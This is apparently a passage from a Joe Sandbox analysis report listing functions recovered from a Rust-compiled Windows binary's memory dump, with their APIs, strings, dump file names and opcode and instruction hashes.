Instruction ID: 142433881e054094c55c743b7e37b3cc6624a3679f0962897f26dc0d5ba49d27
Opcode Fuzzy Hash: 2c39c759ebf2586e7038bf5d114d9997aa544f360e8a6ae00c80eaff7886fb3f
Instruction Fuzzy Hash: 1DA1A332B187D292EA688B21AD403FA63A0FB45788F4C4039DE9DA7796CF7CE455D700

Function 00007FF652EB11A0 Relevance: 3.4, APIs: 1, Strings: 1, Instructions: 397COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF652EB11CD

Strings

punycode{-0, xrefs: 00007FF652EB16DE

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memset
String ID: punycode{-0
API String ID: 2221118986-3751456247
Opcode ID: 90051490ffd9be98b305e9b33b91b3dddc51cf93381484c46eec99bbce1e2fb4
Instruction ID: decf5e6d7915deb5ecb565bd6444d6aeefe30c82adeca52b50cf57aaf936eea4
Opcode Fuzzy Hash: 90051490ffd9be98b305e9b33b91b3dddc51cf93381484c46eec99bbce1e2fb4
Instruction Fuzzy Hash: 86E14862F097A546EB648B25DC447F92692BB497E8F088235CE1DABBD4DF7CE5418300

Function 00007FF652EEF54F Relevance: 3.2, Strings: 2, Instructions: 704COMMON

Download Yara Rule

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF652EF01BA
a Display implementation returned an error unexpectedly/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\alloc\src\string.rs, xrefs: 00007FF652EEFCE9

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID: a Display implementation returned an error unexpectedly/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\alloc\src\string.rs$called `Result::unwrap()` on an `Err` value
API String ID: 0-810370509
Opcode ID: c469a035b0e18485c30957234e14387aaebc840f891c2345aa0801b935382dbd
Instruction ID: c4687409276ebd62fb74b74eb89e4c7df3bb6361f98c81da39675b737267a5d6
Opcode Fuzzy Hash: c469a035b0e18485c30957234e14387aaebc840f891c2345aa0801b935382dbd
Instruction Fuzzy Hash: CE62966260CB9381EB748B11E8503FA63A1FB85B88F585139DE8DA7799DFBCD485C700

Function 00007FF652EC33D0 Relevance: 3.1, APIs: 1, Instructions: 1842COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a302b8f5d4d97b0bffa50281a41049996843f05d045186ba1164911c8f8ee4bd
Instruction ID: 1cccdcbc8c39e0a537b8ecfa372fb2ef687711226392b5ae651d4883f8c22e34
Opcode Fuzzy Hash: a302b8f5d4d97b0bffa50281a41049996843f05d045186ba1164911c8f8ee4bd
Instruction Fuzzy Hash: 5513A162A08BE189E7758F65DC443ED37A4FB05B4CF084229DB9D6BB99DF789681C300

Function 00007FF652ED1D10 Relevance: 2.9, APIs: 2, Instructions: 419COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e2a13449f0011a3d101de9ee45acd086dd014edd82136003594ad05c7260164
Instruction ID: 8881a6fbf91dc61f64d065c57ad2c623a3a5e71656a4d8908c927c3c0230a7a9
Opcode Fuzzy Hash: 7e2a13449f0011a3d101de9ee45acd086dd014edd82136003594ad05c7260164
Instruction Fuzzy Hash: 0E02D262B14A9586DB20CF25DC443ED2360F795BDCF84822ACE1DAB799DFB9D685C300

Function 00007FF652ED37B0 Relevance: 2.9, APIs: 2, Instructions: 417COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c52e7f6254deecc4eeae7633a5a485d7c77172f0b42ba79ad6c955ff1ba99332
Instruction ID: 0864301eb79d1399986a8c1dfbf2dbd0f7d1b79621c63ae2ecf8dc109ec3df9a
Opcode Fuzzy Hash: c52e7f6254deecc4eeae7633a5a485d7c77172f0b42ba79ad6c955ff1ba99332
Instruction Fuzzy Hash: 90F10662B08AD486EB348F259C493E92751F795BDCF084639CE1DAB7D4DEB8DA81C700

Function 00007FF652ED5670 Relevance: 2.9, APIs: 2, Instructions: 415COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e321e2d5907f4add4cdf6e7d1f87431bc026463142a5774b6c24bee5f252b4c
Instruction ID: 44087e38e05c7b1762b32a8bacaf407ecd1798299fbc15085d646f70fab1ecf1
Opcode Fuzzy Hash: 1e321e2d5907f4add4cdf6e7d1f87431bc026463142a5774b6c24bee5f252b4c
Instruction Fuzzy Hash: 16F1F662B14AE486EB308F259C483E92750F7947DCF494639CE2DAB7D4DEB8D286C300

Function 00007FF652E600D3 Relevance: 2.8, APIs: 2, Instructions: 319COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E6043B
memcpy.MSVCRT ref: 00007FF652E60500

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: d39c65cc61c1a58b5e710fe04584ff4585caed594994ff420d538d5aaf48f325
Instruction ID: 781d0a45f7b04c39b8cc4f61b08545c4e6c06b22054ec6e91864621ebe56d241
Opcode Fuzzy Hash: d39c65cc61c1a58b5e710fe04584ff4585caed594994ff420d538d5aaf48f325
Instruction Fuzzy Hash: 73C1EA61B1CAA182EA21CB55F8443BE6750FB85BD8F58413AEF9DA7795CEBCE041C700

Function 00007FF652E5744F Relevance: 2.8, APIs: 2, Instructions: 269COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E5752A
memset.MSVCRT ref: 00007FF652E575AA

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 6036529e0ec9ea3afe09e001a7915aa990ae92f0d1669587e3454daa323968e3
Instruction ID: 8363cdb43eff2a21b1e7d9a73a0fd3999359c82f2fe49bd8c5c7b5881f75a59a
Opcode Fuzzy Hash: 6036529e0ec9ea3afe09e001a7915aa990ae92f0d1669587e3454daa323968e3
Instruction Fuzzy Hash: BFB10263B28BD182DA108B29A8402BD6750F785BA8F584339DFAE677D5DF7CC165C300

Function 00007FF652ECB8B0 Relevance: 1.8, APIs: 1, Instructions: 585COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652ECBE49

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: a3b8e2fc1fd04e4cf439cea5ac86395a364eb4d2df6e46d4a890bf75d2e7cc6b
Instruction ID: 3d78f8cd08555bccd4d53df74dc78d8543d005425d560e836fa2e79c85c427e0
Opcode Fuzzy Hash: a3b8e2fc1fd04e4cf439cea5ac86395a364eb4d2df6e46d4a890bf75d2e7cc6b
Instruction Fuzzy Hash: EF526972A08BD489E7208F69D8403ED3BA4F718B9CF189129EE8DA7B59DF74D595C300

Function 00007FF652E632F5 Relevance: 1.7, APIs: 1, Instructions: 438COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E634B8

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: b17a0afec4a8ae61621e559a25f811bf3a4f37f6567b320e1ba635903647644d
Instruction ID: 1ca7b3a8f734d8d5f6210f14c541f163905e307a3cf7aa1922e2e2d7bd9d46f5
Opcode Fuzzy Hash: b17a0afec4a8ae61621e559a25f811bf3a4f37f6567b320e1ba635903647644d
Instruction Fuzzy Hash: 6B12F57261CA9185D738CA15E8847EE73A0F784B98F544139DB9D97B89DFBDE880CB00

Function 00007FF652E6F6E0 Relevance: 1.7, APIs: 1, Instructions: 151windowCOMMON

Download Yara Rule

APIs

EncryptMessage.SECUR32 ref: 00007FF652E6FA99

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: EncryptMessage
String ID:
API String ID: 801064719-0
Opcode ID: fb02fd5a93ff9e1ac33e9c226d27e803d9ed974f5455260c02f86e02c2a3e573
Instruction ID: a7e6dd68b2304e3c7fb774e6f24785a91731bace439abcfc483936e01c4489be
Opcode Fuzzy Hash: fb02fd5a93ff9e1ac33e9c226d27e803d9ed974f5455260c02f86e02c2a3e573
Instruction Fuzzy Hash: 5451A37260869286EB64CB25F8803EAB3A1FB487C8F484139EF9E97755DF7CE1418700

Function 00007FF652E38010 Relevance: 1.6, Strings: 1, Instructions: 325COMMON

Download Yara Rule

Strings

.llvm./rust/deps\rustc-demangle-0.1.24\src/lib.rs, xrefs: 00007FF652E38013

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID: .llvm./rust/deps\rustc-demangle-0.1.24\src/lib.rs
API String ID: 0-1822433098
Opcode ID: 49cbd901230eb3edda40a2bfa45a84fd7e3cf36f2bb5c18719c73f5267f6f3de
Instruction ID: 6d3e341b6081b7929ffb34ba7f8b6a74ec632a2a9fc054c903a4d3902f7a8258
Opcode Fuzzy Hash: 49cbd901230eb3edda40a2bfa45a84fd7e3cf36f2bb5c18719c73f5267f6f3de
Instruction Fuzzy Hash: 18C15B96F35BB601F713833858026B557006FB77E8A04D326FEA4B2FE5DB64B6438214

Function 00007FF652EE9B0C Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

A Tokio 1.x context was found, but it is being shutdown.mark_pending called when the timer entry is in an invalid state, xrefs: 00007FF652EE9C87

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID: A Tokio 1.x context was found, but it is being shutdown.mark_pending called when the timer entry is in an invalid state
API String ID: 0-24766239
Opcode ID: 5e614c807831194865382b39aef0649be0190180793538509d41971b6e7d72f6
Instruction ID: 4fabc29af751029d0dde3fb625094e8329a9e268a30008356a1f3c8593ead024
Opcode Fuzzy Hash: 5e614c807831194865382b39aef0649be0190180793538509d41971b6e7d72f6
Instruction Fuzzy Hash: 4651F563609B96C9E661EF16E8906AE3BD0BB55BDCF085039EF8E67341DE78D141C300

Function 00007FF652E35BB6 Relevance: .5, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee53f4f6f0a945f8416c40a59228b84cd68d738f13950d7ce48f4a270ccbd792
Instruction ID: 16c09f6744ec908108996219c882456f60d9a3e15ff2b4e416e7c6d84a5f172e
Opcode Fuzzy Hash: ee53f4f6f0a945f8416c40a59228b84cd68d738f13950d7ce48f4a270ccbd792
Instruction Fuzzy Hash: 342227A6A082E286E60493A59C112FD2F12FB56788F8C817DDE4D7B7D2DDACF519C310

Function 00007FF652EBD140 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc915e9ba2d32dc4768f7e735010af1eec7a63432aebf25b1f3bedf3d4557ccd
Instruction ID: 0d214821903ac7cd8c9bf1074f685a102b05eabf29f6a569994bd6ca5d0038e2
Opcode Fuzzy Hash: cc915e9ba2d32dc4768f7e735010af1eec7a63432aebf25b1f3bedf3d4557ccd
Instruction Fuzzy Hash: 29C12626E097B645FB258B75DD007FC27A1AB1178CF0C403ADE4DA3A95DEACE596C300

Function 00007FF652ED96E0 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83151d7bf1e3dfb1dd50c92f1b279d11e67e010d8ffb8368e8c465f8d59a6a80
Instruction ID: 8cc810e7c95bc649f7fc24b244835025c64b6208c5378ac83a5a09f8af8392bd
Opcode Fuzzy Hash: 83151d7bf1e3dfb1dd50c92f1b279d11e67e010d8ffb8368e8c465f8d59a6a80
Instruction Fuzzy Hash: EA91C463F04DE493E751CF29D6005986320F368BD8B965322DF6E63661EB35E6DAC301

Function 00007FF652EDB6A0 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24de546f2a087b866b66a1c414f90aa90115511ddafbd3bc39e6ffb311b1f835
Instruction ID: 84db8d09c9d911ca5a526824ff7cf9ce747b89fba79e0ec3b31f27a8bc36847b
Opcode Fuzzy Hash: 24de546f2a087b866b66a1c414f90aa90115511ddafbd3bc39e6ffb311b1f835
Instruction Fuzzy Hash: 2E615997E1D6F045F31187288C1027D2AE2BB95748F1C867DCA9AA77E5EEBCD046D310

Function 00007FF652EC740F Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f058c90757e122f439528856fd3ea9f93e2f8e4eb7651e233693049de97d156
Instruction ID: 37eccd50456fe9001e408c8ba8c33a2851d254202c99f3c21ac4b1958009b9de
Opcode Fuzzy Hash: 9f058c90757e122f439528856fd3ea9f93e2f8e4eb7651e233693049de97d156
Instruction Fuzzy Hash: 0351A1B3B08631C5E7248BA1E8503BD2AA4F705B58F58053ADE5EB7A84DFB89855D304

Function 00007FF652E3BE60 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0751e65609e58cd2e24c45533785c251c1d5c5e85364c1732d327ffb7493f741
Instruction ID: 01790068839f903053a50f1f21ab117f9acb7e4acd3df52ca966eef462dab75a
Opcode Fuzzy Hash: 0751e65609e58cd2e24c45533785c251c1d5c5e85364c1732d327ffb7493f741
Instruction Fuzzy Hash: AD515063B192F09EE32187785800E6C7FA19B21B48F085098CFD86BF96C656D119E752

Function 00007FF652EB3850 Relevance: .1, Instructions: 127COMMON

